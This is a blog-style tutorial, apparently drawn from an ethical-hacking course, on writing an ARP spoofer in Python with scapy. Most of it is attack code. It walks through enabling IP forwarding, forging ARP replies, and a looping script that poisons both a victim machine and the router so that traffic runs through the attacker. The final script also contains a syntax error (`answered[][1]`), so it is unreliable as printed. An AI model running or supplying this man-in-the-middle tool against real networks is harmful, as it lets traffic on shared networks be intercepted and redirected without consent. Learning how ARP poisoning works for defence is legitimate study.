[ + ] Create an ARP Spoofer in Python

I should say that all the knowledge I gained from creating this is from a very good instructor name Zaid Sabih, owner of Zsecurity you can check out his website and support him by purchasing his course at some point, he goes into better detail than I do and has more then 180,000 students to date here https://zsecurity.org/ and here https://www.udemy.com/learn-python-and-ethical-hacking-from-scratch/

ARP Spoofing is very simple to understand, the essential concept is that you become a man in the middle so that you are able to sniff and redirect packets between a target and the local router within a private network. While there are software such as Wireshark that allow you to do this, this is more just to gain an understanding of how things work:

Image Concept of ARP Spoofing

The first thing to note if you are a Linux user, is that to route or forward packets to anywhere the way a router does you need to place a 1 in the ip_forward file to do this you can use the find program:

$find proc/sys/ -name ip_forward
/proc/sys/net/ipv4/ip_forward
$echo 1 > /proc/sys/net/ipv4/ip_forward

What you are exploiting when you perform this attack is that a nic will accept any ARP response that is incoming into it. Meaning that by sending any ARP response the victim will take it, accept it, and put the response's MAC address into its ARP table. To construct this attack we once again use scapy for the job; we can start by determining what attributes of the packet it is were going to modify to construct this response:
$ python3
Python 3.6.6 (default, Sep 12 2018, 18:26:19)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import scapy.all as scapy
>>> scapy.ls(scapy.ARP())
hwtype     : XShortField                         = 1               (1)
ptype      : XShortEnumField                     = 2048            (2048)
hwlen      : ByteField                           = 6               (6)
plen       : ByteField                           = 4               (4)
op         : ShortEnumField                      = 1               (1)   <--------------gonna change this to 2 so that it becomes a response
hwsrc      : ARPSourceMACField                   = 'c4:e9:84:14:e4:06' (None) <----------this is already  set to my MAC address
psrc       : SourceIPField                       = '192.168.1.8'   (None)<----------------going to change this to the gateway (committing fraud!)
hwdst      : MACField                            = '00:00:00:00:00:00' ('00:00:00:00:00:00')<-----------going to change this to the victims MAC
pdst       : IPField                             = '0.0.0.0'       ('0.0.0.0')<----------------going to change this to the victims IP
>>>

So now that we know what were going to change, lets do it!
#!/usr/bin/python3
import scapy.all as scapy

##create a packet object
arp_packet = scapy.ARP(op=2,psrc="192.168.1.1",hwdst="c8:3d:d4:3f:6a:d5",pdst="192.168.1.16")

##send the packet out!
scapy.send(arp_packet)

This is the response on my target machine:
$ arp -a
machine.home (192.168.1.8) at c4:e9:84:14:e4:06 [ether] on wlp2s0
myrouter.home (192.168.1.1) at c4:e9:84:14:e4:06 [ether] on wlp2s0

Now to write the rest of the code to make the arp spoof between the router and the victim pc:
#!/usr/bin/python3
import scapy.all as scapy
import argparse
import time

routerIP = "192.168.1.1"
victimIP = "192.168.1.16"

# Enable IPv4 packet forwarding.
with open('/proc/sys/net/ipv4/ip_forward', 'w') as handle:
    handle.write('1')
    handle.flush()
handle.close()


def spoof_arp(make_it_look_like_I_sent_it_from_this_ip_IPaddress, targetIP):
        ##grab targetIP
        targetMAC=grab_mac(targetIP)
        ##create a response packet object
        arp_packet = scapy.ARP(op=2,psrc=make_it_look_like_I_sent_it_from_this_ip_IPaddress,hwdst=targetMAC,pdst=targetIP)
        ##send the packet out!
        scapy.send(arp_packet)
        ##wait 2 seconds...
        time.sleep(2)

def grab_mac(targetIP):
        ##create a request packet object
        request_packet = scapy.ARP(pdst=targetIP)
        broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")        #create ethernet broadcast frame
        combined_request= broadcast/request_packet
        ##send and receive the request/response
        answered, unanswered = scapy.srp(combined_request,timeout=3)
        ##extract mac address
        return answered[][1].hwsrc

while 1:
        spoof_arp(victimIP,routerIP)
        spoof_arp(routerIP,victimIP)